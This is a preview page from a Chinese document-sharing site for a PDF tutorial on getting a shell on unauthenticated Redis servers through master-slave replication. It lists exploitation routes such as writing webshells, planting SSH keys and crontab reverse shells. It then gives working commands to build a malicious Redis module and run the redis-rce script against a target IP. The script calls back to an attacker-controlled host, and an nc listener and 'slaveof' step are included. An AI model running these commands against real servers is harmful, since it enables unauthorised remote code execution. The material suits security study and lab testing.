活动介绍

第02篇：Redis主从复制getshell1

preview
试读
6页
redis
需积分: 0 4 下载量 155 浏览量 更新于2022-08-03 收藏 343KB PDF 举报
1、生成恶意.so文件，下载RedisModules-ExecuteCommand使用make编译即可生成 1、监听本地1234端口 2、将Redis服务器设置
Redis未授权漏洞常见的漏洞利用方式：
Windows下，绝对路径写webshell 、写入启动项。
Linux下，绝对路径写webshell 、公私钥认证获取root权限 、利用contrab计划任务反弹shell。
基于Redis主从复制的机制，可以通过FULLRESYNC将任意文件同步到从节点（slave），这就使得它可以轻易实现以
上任何一种漏洞利用方式，而且存在着更多的可能性，等待被探索。
一、Redis 主从复制一键自动化RCE
在Reids 4.x之后，Redis新增了模块功能，通过外部拓展，可以实现在Redis中实现一个新的Redis命令，通过写C语
言编译并加载恶意的.so文件，达到代码执行的目的。
通过脚本实现一键自动化getshell：
1、生成恶意.so文件，下载RedisModules-ExecuteCommand使用make编译即可生成。
2、攻击端执行： python redis-rce.py -r 目标ip-p 目标端口 -L 本地ip -f 恶意.so
二、Redis主从复制利用原理
首先，我们通过一个简单的测试，来熟悉一下slave和master的握手协议过程：
1、监听本地1234端口
2、将Redis服务器设置为从节点(slave)
3、使用nc模拟Redis主服务器，进行模拟Redis主从交互过程（红色部分为slave发送的命令）：
git clone https://github.com/n0b0dyCN/RedisModules-ExecuteCommand
cd RedisModules-ExecuteCommand/
make
git clone https://github.com/Ridter/redis-rce.git
cd redis-rce/
cp ../RedisModules-ExecuteCommand/src/module.so ./
pip install -r requirements.txt
python redis-rce.py -r 192.168.28.152 -p 6379 -L 192.168.28.137 -f module.so
nc -lvvp 1234
slaveof 127.0.0.1 1234

下载后可阅读完整内容，剩余5页未读，立即下载

身份认证 购VIP最低享 7 折!
30元优惠券
资源推荐
资源评论
AIAlchemist
  • 粉丝: 2613
上传资源 快速赚钱
voice
center-task 前往需求广场，查看用户热搜

最新资源